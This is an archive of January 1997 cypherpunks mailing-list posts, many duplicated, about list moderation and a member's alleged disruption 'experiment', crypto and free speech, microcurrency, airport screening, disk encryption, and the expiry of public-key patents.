Message-ID: <199701210140.RAA25601@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Also Sprach Adam Back:
> 
> It is my belief
> that his posts can only be understood in a "meta" sense -- he is
> engaged in a highly complex cryptographic experiment.  People who read
> and respond to his individual posts are the unwitting subjects in his
> experiments.  His posts and the responses to them are actually the
> data-set for a thorough cryptanalysis of mailing list threats.  His
> current topic under investigation is Denial of Service (DoS) attacks
> on mailing lists.

I agree that this is what is being done, but the experiment dorsn't have
as much to do with cryptanalysis as much as it has to do with sociology. 
 The limits here are not mathematical and static, they are social and
based on the limits of tolerance of both the group and the individual. 

> I await with interest the last phases of Dimitri's experiment, when
> the cypherpunks list becomes a moderated forum.

That appears to be the main brunt of his efforts, to "push the envelope"
of free speech in order to force it's definition. Perhaps to exhibit
the necessity for a controlling authority, and thus justify the existence
of the various agencies which are trying to control the flow of 
information in this country and elsewhere. 

> I hope Dimitri's selfless efforts in furthering understanding of DoS
> attacks on mailing lists is properly acknowledged when he publishes
> his findings on completion of his experiments.  I also hope that
> Dimitri will document his recommendations for mailing list
> configuration and management in light of his experiments.
 
I would not say that what he is doing is a bit selfless, the Clipper
Chip crowd are probably lining his pockets in a big way. That's 
acknowledgement enough for me. :-/ 
 
"In peacetime, a warlike man sets upon himself." -- Nietzsche

-- 
Marcus: "They'll try to kill you."         |
Xena: "Oh, I still have a few tricks       | "Here we GO!!!" 
       left up my sleeve...I don't         |           -- Jane's Addiction
       have any sleeves!" -- Xena bloopers |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 20 Jan 1997 18:33:01 -0800 (PST)
To: Jane Jefferson <gotagun@liii.com>
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <199701210118.UAA28283@rowan.liii.com>
Message-ID: <32E4477E.3F8B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jane Jefferson wrote: 
> Also Sprach Adam Back:
> > I await with interest the last phases of Dimitri's experiment, when
> > the cypherpunks list becomes a moderated forum.
> 
> That appears to be the main brunt of his efforts, to "push the envelope"
> of free speech in order to force it's definition. Perhaps to exhibit
> the necessity for a controlling authority, and thus justify the existence
> of the various agencies which are trying to control the flow of
> information in this country and elsewhere.

  If what you say is true, then Dr. DV K's efforts are quite possibly 
the most important issue being addressed in this conference, because
behind free speech, lies the most important issue of all--when does
it start, and when does it stop.

  Cryptography, above all, enables the ability of a group or an
individual
to keep their communications secret, safe from prying eyes.
  The military-industrial complex proclaims this necessary for the
purposes of state-security, and denies that it is used in order to keep 
their 'sins' from being exposed. (If you believe this, then please 
contact me by private email regarding an ocean-front property I have
available in Tucson, AZ.  If you act quickly, I will throw in a set
of the Amazing Ginzu Knives as an added bonus.)
   The crypto-cognizant citizen proclaims cryptographical ability as
a means of empowering their rights of free speech.  The more intelligent
of them recognize as misinformation the government's feeble claims that
they cannot successfully investigate someone moving tons of illegal
drugs into the country unless they have the capacity to eavesdrop on
the private correspondences of 'all' of their citizens. (Which is the
equivalent, in my mind, of claiming that AIDS cannot be held in check
without knowing the details of all of the citizens sex-lives.)

  In short, I believe that if the issue of free speech is not one of
the central issues on the CypherPunks list, then the list is merely
one more heartless, unfeeling extension of the Great Machine which
is grinding inexorably forward toward the day when we will all have
its numbers tattoo'd on our forearms.
  As far as I am concerned, any CypherPunk who believes that the
socio/politico issues surrounding cryptography are not important
enough to be an integral part of this list is falling into the
same type of trap as those who think that they can become good
cryptographers without becoming good cryptanalysts.  Those who
seek to become merely cryptographers seem to think that 'numbers
rule'--those who seek to be able to analyze the end-result of 
those 'numbers' realize that the minds, hearts and souls 'behind'
those numbers tell the story of how people think and feel, and
the motivations behind their cryptographical intent. (And also
reveals where their vulnerabilities lie.)
  Thinking that cryptography is about 'numbers' is akin to thinking
that equality is about 'skin-color'.

> "In peacetime, a warlike man sets upon himself." -- Nietzsche

  "In times of war, a peacelike man sets upon others."
       Bubba Rom Dos

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 20 Jan 1997 20:10:53 -0800 (PST)
To: Jane Jefferson <gotagun@liii.com>
Subject: Re: Dr. Vulis' social engineering experiment
Message-ID: <199701210410.UAA28003@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jane Jefferson wrote: 
> Also Sprach Adam Back:
> > I await with interest the last phases of Dimitri's experiment, when
> > the cypherpunks list becomes a moderated forum.
> 
> That appears to be the main brunt of his efforts, to "push the envelope"
> of free speech in order to force it's definition. Perhaps to exhibit
> the necessity for a controlling authority, and thus justify the existence
> of the various agencies which are trying to control the flow of
> information in this country and elsewhere.

  If what you say is true, then Dr. DV K's efforts are quite possibly 
the most important issue being addressed in this conference, because
behind free speech, lies the most important issue of all--when does
it start, and when does it stop.

  Cryptography, above all, enables the ability of a group or an
individual
to keep their communications secret, safe from prying eyes.
  The military-industrial complex proclaims this necessary for the
purposes of state-security, and denies that it is used in order to keep 
their 'sins' from being exposed. (If you believe this, then please 
contact me by private email regarding an ocean-front property I have
available in Tucson, AZ.  If you act quickly, I will throw in a set
of the Amazing Ginzu Knives as an added bonus.)
   The crypto-cognizant citizen proclaims cryptographical ability as
a means of empowering their rights of free speech.  The more intelligent
of them recognize as misinformation the government's feeble claims that
they cannot successfully investigate someone moving tons of illegal
drugs into the country unless they have the capacity to eavesdrop on
the private correspondences of 'all' of their citizens. (Which is the
equivalent, in my mind, of claiming that AIDS cannot be held in check
without knowing the details of all of the citizens sex-lives.)

  In short, I believe that if the issue of free speech is not one of
the central issues on the CypherPunks list, then the list is merely
one more heartless, unfeeling extension of the Great Machine which
is grinding inexorably forward toward the day when we will all have
its numbers tattoo'd on our forearms.
  As far as I am concerned, any CypherPunk who believes that the
socio/politico issues surrounding cryptography are not important
enough to be an integral part of this list is falling into the
same type of trap as those who think that they can become good
cryptographers without becoming good cryptanalysts.  Those who
seek to become merely cryptographers seem to think that 'numbers
rule'--those who seek to be able to analyze the end-result of 
those 'numbers' realize that the minds, hearts and souls 'behind'
those numbers tell the story of how people think and feel, and
the motivations behind their cryptographical intent. (And also
reveals where their vulnerabilities lie.)
  Thinking that cryptography is about 'numbers' is akin to thinking
that equality is about 'skin-color'.

> "In peacetime, a warlike man sets upon himself." -- Nietzsche

  "In times of war, a peacelike man sets upon others."
       Bubba Rom Dos

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 20 Jan 1997 21:12:29 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: microcurrency: Netscape vs. Microsoft
Message-ID: <3.0.32.19970120210810.006dd5cc@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 11:46 AM 1/20/97 -0800, Vladimir Z. Nuri wrote:
>[microcurrency]
>>It will also not catch on until there are better standards involving
>>microcurrency transactions amongst the vendors.  It would also help if
>>there was a single interface (or "helper app") for whatever vendor you
>>decided to go with.

I am not sure that is feasible. Single interface, perhaps. Sun's Java Wallet is  step in this direction. Single helper app, not a chance. The systems are too different, and do not share a sufficient number of properties, to use the same helper app.

>as I see it, I think there are a few key standards that need 
>to be devised: 
>
>1. an html tag that indicates how much a link costs, probably in
>the <a href="" cost=xx> type syntax

This could be done, but is, IMHO, too inflexible.

>2. modification of http to support a payment mechanism, by sending
>a token.

Take a look at PEP and UPP. This may not be what you are looking for, but it is a start.  Available at any IETF draft repository.
[...]

>>Currently every vendor of payment schemes has made it proprietary in some
>>way.  (At least the ones I have seen.)  This means that if the user visits
>>three different web pages, each using a payment scheme from a different
>>vendor, that user has to be signed up with all of those vendors.  (Or at
>>least have their helper apps.)

The systems are *not* interchangeable due to fundamental differences in the design. This is not a software/UI issue.

I do not expect the signup requirements to last much longer. To give just one example, take a look at the current discussions on dev-lucre, a list for the Unofficial Cypherpunks Implementation of Ecash. [Sorry, I don't have the archive URL.]

http://www.isaac.cs.berkeley.edu/ntlucre/ has the latest version.

The list is currently discussing an ActiveX Ecash control. With -lucre, you no longer need to sign up with an issuer. Assuming an ActiveX control, the client software installs itself. As to the merchant software, Stronghold already ships with Ecash support built in. Netscape has announce that Navigator will ship with CyberCash. There is definitely movement at the browser/server end.





-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 20 Jan 1997 21:40:50 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: microcurrency: Netscape vs. Microsoft
Message-ID: <199701210540.VAA29342@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:46 AM 1/20/97 -0800, Vladimir Z. Nuri wrote:
>[microcurrency]
>>It will also not catch on until there are better standards involving
>>microcurrency transactions amongst the vendors.  It would also help if
>>there was a single interface (or "helper app") for whatever vendor you
>>decided to go with.

I am not sure that is feasible. Single interface, perhaps. Sun's Java Wallet is  step in this direction. Single helper app, not a chance. The systems are too different, and do not share a sufficient number of properties, to use the same helper app.

>as I see it, I think there are a few key standards that need 
>to be devised: 
>
>1. an html tag that indicates how much a link costs, probably in
>the <a href="" cost=xx> type syntax

This could be done, but is, IMHO, too inflexible.

>2. modification of http to support a payment mechanism, by sending
>a token.

Take a look at PEP and UPP. This may not be what you are looking for, but it is a start.  Available at any IETF draft repository.
[...]

>>Currently every vendor of payment schemes has made it proprietary in some
>>way.  (At least the ones I have seen.)  This means that if the user visits
>>three different web pages, each using a payment scheme from a different
>>vendor, that user has to be signed up with all of those vendors.  (Or at
>>least have their helper apps.)

The systems are *not* interchangeable due to fundamental differences in the design. This is not a software/UI issue.

I do not expect the signup requirements to last much longer. To give just one example, take a look at the current discussions on dev-lucre, a list for the Unofficial Cypherpunks Implementation of Ecash. [Sorry, I don't have the archive URL.]

http://www.isaac.cs.berkeley.edu/ntlucre/ has the latest version.

The list is currently discussing an ActiveX Ecash control. With -lucre, you no longer need to sign up with an issuer. Assuming an ActiveX control, the client software installs itself. As to the merchant software, Stronghold already ships with Ecash support built in. Netscape has announce that Navigator will ship with CyberCash. There is definitely movement at the browser/server end.





-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Mon, 20 Jan 1997 18:27:26 -0800 (PST)
To: abostick@netcom.com (Alan Bostick)
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701210040.QAA24710@toad.com>
Message-ID: <199701210223.VAA20804@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


	Recall that all security is economics.  The airlines want the
appearance of security without having to pay for it.

	The '3 questions' ("Pack your luggage?  let it out of your
sight?  Taking any gifts?") originated with El Al, where they are the
introduction to a very expensive (and privacy invading) set of
screening questions.  The El Al people are trained to watch you as
they ask the questions, and respond to signs of lying or rehersal.
The Americans read the questions off the screen, and pay no attention
to your answers.

	The market, however, is irrational*, and airlines prefer to
have government imposed regulations over having to actually figure out
what works, and do it.

	*The market is irrational because statistics on what airlines
are safer than others is closely held knowledge of the FAA.

Adam


Alan Bostick wrote:

| She presented the gate agent with *four* tickets and *four* IDs.  "Where
| are these other people?" the agent asked.  "They're parking the car,"
| said the traveler.  The agent gave her all four boarding passes; and my
| companion and I were bumped to the third boarding group.
| 
| The woman in front of us was white and middle-class-looking, traveling
| with what appeared to be her family.  One wonders what would have
| happened were she a swarthy man wearing robes and a burnoose.  Or if she
| were just wearing shabby clothes. 

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Mon, 20 Jan 1997 20:16:04 -0800 (PST)
To: Alan Bostick <abostick@netcom.com>
Subject: Re: Airport security [no such thing]
Message-ID: <199701210416.UAA28041@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	Recall that all security is economics.  The airlines want the
appearance of security without having to pay for it.

	The '3 questions' ("Pack your luggage?  let it out of your
sight?  Taking any gifts?") originated with El Al, where they are the
introduction to a very expensive (and privacy invading) set of
screening questions.  The El Al people are trained to watch you as
they ask the questions, and respond to signs of lying or rehersal.
The Americans read the questions off the screen, and pay no attention
to your answers.

	The market, however, is irrational*, and airlines prefer to
have government imposed regulations over having to actually figure out
what works, and do it.

	*The market is irrational because statistics on what airlines
are safer than others is closely held knowledge of the FAA.

Adam


Alan Bostick wrote:

| She presented the gate agent with *four* tickets and *four* IDs.  "Where
| are these other people?" the agent asked.  "They're parking the car,"
| said the traveler.  The agent gave her all four boarding passes; and my
| companion and I were bumped to the third boarding group.
| 
| The woman in front of us was white and middle-class-looking, traveling
| with what appeared to be her family.  One wonders what would have
| happened were she a swarthy man wearing robes and a burnoose.  Or if she
| were just wearing shabby clothes. 

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: FrozenHell <fhell@nether.net>
Date: Mon, 20 Jan 1997 21:42:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hard Drive Encryption
Message-ID: <3.0.16.19970120192722.37ef8cbc@mail.nether.net>
MIME-Version: 1.0
Content-Type: text/plain


I found a program on the internet called POTASSIUM HYDROXIDE that says it
will encrypt your hard drive... then when ever you turn on your computer it
will request a password before it even accesses your DOS. If you put in the
right password it will load as a TSR that will let your access your
encrypted hard drive.

But I have a Western Digital Caviar Hard Drive and have the use the W.D.
Disk Manager v6.03d that comes with it... this is another program that
loads before your DOS... does anyone know if this program Potassium
Hydroxide will work with W.D. Disk Manager and work under Win 3.11/95. I
don't want to risk gibbling all the info on my hard drive.

 If not does anyone know of a program that will let me encrypt my hard disk
and decrypt it will a password before my DOS is loaded and work with the
above programs of mine.

If it helps I am using DOS 6.21 with Windows 3.11 (  I'm upgrading to `95
soon ;>  )

-FrozenHell (fhell@nether.net)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: FrozenHell <fhell@nether.net>
Date: Mon, 20 Jan 1997 22:14:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hard Drive Encryption
Message-ID: <199701210614.WAA00109@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I found a program on the internet called POTASSIUM HYDROXIDE that says it
will encrypt your hard drive... then when ever you turn on your computer it
will request a password before it even accesses your DOS. If you put in the
right password it will load as a TSR that will let your access your
encrypted hard drive.

But I have a Western Digital Caviar Hard Drive and have the use the W.D.
Disk Manager v6.03d that comes with it... this is another program that
loads before your DOS... does anyone know if this program Potassium
Hydroxide will work with W.D. Disk Manager and work under Win 3.11/95. I
don't want to risk gibbling all the info on my hard drive.

 If not does anyone know of a program that will let me encrypt my hard disk
and decrypt it will a password before my DOS is loaded and work with the
above programs of mine.

If it helps I am using DOS 6.21 with Windows 3.11 (  I'm upgrading to `95
soon ;>  )

-FrozenHell (fhell@nether.net)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 20 Jan 1997 21:47:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dr Vulis's crypto experiment (Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT)
In-Reply-To: <199701200308.VAA06655@manifold.algebra.com>
Message-ID: <32E4581D.2A5A@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> my predictions:

>         1) Dale Thorn will become another Kagalenko and will mailbomb mods

Unless someone can give me good enough reason to get involved with
communications programming, even at a macro level, I doubt I'll be
much of a technical threat to c-punks et al.  I suspect that the main
reason for much of Sandy's fear and loathing of late is not the
incessant Spamming of the c-punks list, but rather the presence of a
superior, dominant intellect which threatens his space here.

Which would you fear most: The government looking over your shoulder,
checking for possible ITAR violations, or a relentless critic who's
apparently made it his current life's mission to ceaselessly point out
your limitations to the whole world?

>         2) 90% of cypherpunks-moderated will be about moderation
>            and censorship

This topic should be one of the easiest to cut....

>         3) there will be massive openings of alternative cypherpunks
>            mailing lists, all doomed to fail

Failure or success depends on many factors.  Unfortunately, most
successes in real life are money-sponsored, and therefore necessarily
contain a driving, but hidden agenda.

>         4) several alt.* newsgroups like alt.cypherpunks will be created

Most people watch TV rather than get involved in anything. Whatever is
interesting about that (other than as an academic study) I don't know.

>         5) main business of freedom-knights will be shitting and spitting
>            at cypherpunks in alt.cypherpunks

I've been posting some intense material to freedom-knights, but the
response has been quite restrained.  One could conjecture that the
interest level there is not high (as far as c-punks goes), or that
the maturity level is higher than other places...

>         6) moderators will spend increasing amounts of time on their work

In mathematics, when something doesn't compute intuitively, although
on paper the proposition looks OK, you'd say "there's something wrong
or missing here, it doesn't add up", etc.  Moderators spending lots of
time moderating postings from the hoi polloi doesn't add up either.

>         7) crossposting between alt.cypherpunks and mail.cypherpunks
>            will be prohibited by alt.cypherpunks FAQ, posted monthly
>            by Dr. John Martin Grubor

This thing about crossposting is way overblown.  I was told forcefully
once not to crosspost to c-punks and coderpunks, as though one list were
a true subset of the other.  Posters should be advised of the specific
reasons for not "crossposting" to certain list combinations, unless you
are referring only to commercial Spam or other 'bot-generated mail.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 20 Jan 1997 22:12:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dr Vulis's crypto experiment (Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT)
Message-ID: <199701210612.WAA29987@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> my predictions:

>         1) Dale Thorn will become another Kagalenko and will mailbomb mods

Unless someone can give me good enough reason to get involved with
communications programming, even at a macro level, I doubt I'll be
much of a technical threat to c-punks et al.  I suspect that the main
reason for much of Sandy's fear and loathing of late is not the
incessant Spamming of the c-punks list, but rather the presence of a
superior, dominant intellect which threatens his space here.

Which would you fear most: The government looking over your shoulder,
checking for possible ITAR violations, or a relentless critic who's
apparently made it his current life's mission to ceaselessly point out
your limitations to the whole world?

>         2) 90% of cypherpunks-moderated will be about moderation
>            and censorship

This topic should be one of the easiest to cut....

>         3) there will be massive openings of alternative cypherpunks
>            mailing lists, all doomed to fail

Failure or success depends on many factors.  Unfortunately, most
successes in real life are money-sponsored, and therefore necessarily
contain a driving, but hidden agenda.

>         4) several alt.* newsgroups like alt.cypherpunks will be created

Most people watch TV rather than get involved in anything. Whatever is
interesting about that (other than as an academic study) I don't know.

>         5) main business of freedom-knights will be shitting and spitting
>            at cypherpunks in alt.cypherpunks

I've been posting some intense material to freedom-knights, but the
response has been quite restrained.  One could conjecture that the
interest level there is not high (as far as c-punks goes), or that
the maturity level is higher than other places...

>         6) moderators will spend increasing amounts of time on their work

In mathematics, when something doesn't compute intuitively, although
on paper the proposition looks OK, you'd say "there's something wrong
or missing here, it doesn't add up", etc.  Moderators spending lots of
time moderating postings from the hoi polloi doesn't add up either.

>         7) crossposting between alt.cypherpunks and mail.cypherpunks
>            will be prohibited by alt.cypherpunks FAQ, posted monthly
>            by Dr. John Martin Grubor

This thing about crossposting is way overblown.  I was told forcefully
once not to crosspost to c-punks and coderpunks, as though one list were
a true subset of the other.  Posters should be advised of the specific
reasons for not "crossposting" to certain list combinations, unless you
are referring only to commercial Spam or other 'bot-generated mail.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Mon, 20 Jan 1997 21:52:24 -0800 (PST)
To: adam@homeport.org (Adam Shostack)
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701210416.UAA28041@toad.com>
Message-ID: <199701210550.VAA32028@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Shostack writes:
 
> 	The '3 questions' ("Pack your luggage?  let it out of your
> sight?  Taking any gifts?") originated with El Al, where they are the
> introduction to a very expensive (and privacy invading) set of
> screening questions.  The El Al people are trained to watch you as
> they ask the questions, and respond to signs of lying or rehersal.
> The Americans read the questions off the screen, and pay no attention
> to your answers.

Some airlines here in the US have set up "check in" terminals
near the gate so you can check in there instead of having to
deal with human beings at the desk.  The terminal asks the
magic three questions.  No chance for seeing someone's reaction
to the questions there (unless of course there's a hidden camera 
pointed at the terminal, or some sort of biometric device attached).

One time I asked a ticket guy if he's ever had anyone say "yes" to
the magic questions, his answer was that the one time it happened 
the person turned out to be an FAA three-questions enforcement squad
conducting a check.


-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Mon, 20 Jan 1997 22:10:53 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: Airport security [no such thing]
Message-ID: <199701210610.WAA29969@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Shostack writes:
 
> 	The '3 questions' ("Pack your luggage?  let it out of your
> sight?  Taking any gifts?") originated with El Al, where they are the
> introduction to a very expensive (and privacy invading) set of
> screening questions.  The El Al people are trained to watch you as
> they ask the questions, and respond to signs of lying or rehersal.
> The Americans read the questions off the screen, and pay no attention
> to your answers.

Some airlines here in the US have set up "check in" terminals
near the gate so you can check in there instead of having to
deal with human beings at the desk.  The terminal asks the
magic three questions.  No chance for seeing someone's reaction
to the questions there (unless of course there's a hidden camera 
pointed at the terminal, or some sort of biometric device attached).

One time I asked a ticket guy if he's ever had anyone say "yes" to
the magic questions, his answer was that the one time it happened 
the person turned out to be an FAA three-questions enforcement squad
conducting a check.


-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Mon, 20 Jan 1997 18:58:15 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: GSM technology
In-Reply-To: <3.0.32.19970120132632.006e91cc@192.100.81.126>
Message-ID: <Pine.SOL.3.93.970120215321.28430D-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




	ADSL will be the best for movies... i can't wait .
	

On Mon, 20 Jan 1997, Lucky Green wrote:

> At 09:43 AM 1/20/97 -0500, Nurdane Oksas wrote:
> >	Does anyone use ADSL lines?  or are they still very expensive?
> 
> I just had a very interesting talk with somebody from Northern Telecom (Canada's Phone Company). NorTel has apparently skipped ISDN and is now deploying ADSL. Some areas already have access to ADSL at, can you believe this, $60/month.
> 
> 
> 
> -- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
>    Make your mark in the history of mathematics. Use the spare cycles of
>    your PC/PPC/UNIX box to help find a new prime.
>    http://www.mersenne.org/prime.htm
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Mon, 20 Jan 1997 20:10:52 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: GSM technology
Message-ID: <199701210410.UAA28002@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




	ADSL will be the best for movies... i can't wait .
	

On Mon, 20 Jan 1997, Lucky Green wrote:

> At 09:43 AM 1/20/97 -0500, Nurdane Oksas wrote:
> >	Does anyone use ADSL lines?  or are they still very expensive?
> 
> I just had a very interesting talk with somebody from Northern Telecom (Canada's Phone Company). NorTel has apparently skipped ISDN and is now deploying ADSL. Some areas already have access to ADSL at, can you believe this, $60/month.
> 
> 
> 
> -- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
>    Make your mark in the history of mathematics. Use the spare cycles of
>    your PC/PPC/UNIX box to help find a new prime.
>    http://www.mersenne.org/prime.htm
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 20 Jan 1997 22:02:22 -0800 (PST)
To: hjk <hjk@ddorf.rhein-ruhr.de>
Subject: Re: Thoughts re moderation, filtering, and name changes
In-Reply-To: <Pine.LNX.3.95.970120142318.307A-100000@alien.ddorf.rhein-ruhr.de>
Message-ID: <32E45AA6.330A@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


hjk wrote:
> Just one thing about the names of the different lists: I received a
> mail listing the changes to come. It was very easy to understand that
> I am going to get the moderated list if I do not change my subscription.
> I'll find out if I will miss something. We'll see.
> I wonder who is so brainless, not to understand what's going on.
> Do you really think the subscribers are pure Idiots?

Well, Heinz.  You live in a country full of people, ordinary people,
variously called the hoi polloi, the sheeple, the unwashed masses,
and other interesting names.

Many credible and respected authors and commentators have made references
to the masses in one form or another as "stupid, lazy, ignorant,
selfish, etc.", or even "almost useless".

Now whatever you think of your fellow citizens, or even those of the
USA (to name an example), I'm sure is OK on whatever basis you apply
your judgement.  But I guarantee you that the people on the cypherpunks
list are no more or less intelligent than the people who vegetate in
front of their TV sets every day, right there where you live, in all
probability. If you believe that your fellow citizens vote intelligently,
then I respond that cypherpunks vote intelligently.  What do you think?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 21 Jan 1997 06:40:27 -0800 (PST)
To: hjk <hjk@ddorf.rhein-ruhr.de>
Subject: Re: Thoughts re moderation, filtering, and name changes
Message-ID: <199701211440.GAA06625@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


hjk wrote:
> Just one thing about the names of the different lists: I received a
> mail listing the changes to come. It was very easy to understand that
> I am going to get the moderated list if I do not change my subscription.
> I'll find out if I will miss something. We'll see.
> I wonder who is so brainless, not to understand what's going on.
> Do you really think the subscribers are pure Idiots?

Well, Heinz.  You live in a country full of people, ordinary people,
variously called the hoi polloi, the sheeple, the unwashed masses,
and other interesting names.

Many credible and respected authors and commentators have made references
to the masses in one form or another as "stupid, lazy, ignorant,
selfish, etc.", or even "almost useless".

Now whatever you think of your fellow citizens, or even those of the
USA (to name an example), I'm sure is OK on whatever basis you apply
your judgement.  But I guarantee you that the people on the cypherpunks
list are no more or less intelligent than the people who vegetate in
front of their TV sets every day, right there where you live, in all
probability. If you believe that your fellow citizens vote intelligently,
then I respond that cypherpunks vote intelligently.  What do you think?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Thaddeus J. Beier" <thad@hammerhead.com>
Date: Tue, 21 Jan 1997 06:40:29 -0800 (PST)
To: "sandfort@crl.com>
Subject: Re: Question on Diffie-Hellman patent
Message-ID: <199701211440.GAA06630@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> > Diffie-Hellman   4,200,770  Sept. 6, 1977  Apr. 29, 1980   Sept. 6, 1997
> > Hellman-Merkle   4,218,582  Oct. 6, 1977   Aug. 19, 1980   Oct. 6, 1997
> > RSA              4,405,829  Dec. 14, 1977  Sept. 20, 1983  Sept. 20, 2000
> 
> So who's planning on throwing a big party on Sept. 6th?  Will Jim Bizos be  
> celebrating?  :-)

Well, Jim Bizdos now has an unlimited license to the DH and HM
patents,  due to a recent settlement with Cylink, so he probably
won't be celebrating.

I'd wait 'til the October 6th date for the real party, RSA and
Cylink's lawyers have always claimed the HM gave them a claim to
all of public key cryptography...that's the one I've been waiting
for, and it's only another month :-)  This is going to be a very
good year.

If you look at Roger Schlafly's home page,
http://bbs.cruzio.com/~schlafly
you'll see that he's been fighting these guys for years; and he concedes
now that even with his herculean efforts to move the process along, the
trial probably won't come to a head before the patents expire.  I'd love
to see his estimate of how much their lawyers have spent on this over
the
years...

-- Thaddeus Beier                     thad@hammerhead.com
   Visual Effects Supervisor                408) 287-6770
   Hammerhead Productions  http://www.got.net/people/thad





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 20 Jan 1997 22:32:15 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: RSA challenge: is it legal to try?
Message-ID: <199701210631.WAA03064@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:33 PM 1/16/97 -0800, Bill Stewart wrote:
>At 08:13 PM 1/14/97 -0800, jim bell wrote:
>>US.  Alone, that would have denied non-US patents to RSA.   However, such an 
>>explanation grandly ignores the fact that computer software (let alone 
>>mathematics in general) was not considered patentable ANYWHERE (?) before 
>>public-key systems made their appearance in 1976.
>...
>>I'm still waiting for an "innocent" explanation for the US patent office 
>>beginning to issue software patents.  I don't think there is one.
>
>The first software patent was Dennis Ritchie's patent on setUID.

So what year was that?

>Computer security is one area that, if you're going to allow patents
>on software at all (which I think are a bad idea, but that's politics)

No, it's not JUST politics.  It's also (im)practicality.  Even if, arguably, 
software OUGHT TO be patentable, going from a time in which software wasn't 
patentable to software patentability is essentially impossible.  First, it 
requires (or, at least, ought to require, if they were to do it 
right...which they didn't) a searchable compilation of all previously 
existing software ideas and constructs to ensure that obvious or 
previously-existing ideas were not given patents.  Since prior to about 1976 
there was no motivation on anyone's part to collect such a database (secrecy 
being the most useful protection) then it was practically guaranteed that 
the Patent Office would be unable (or unwilling???) to refuse to grant 
patents on old ideas.

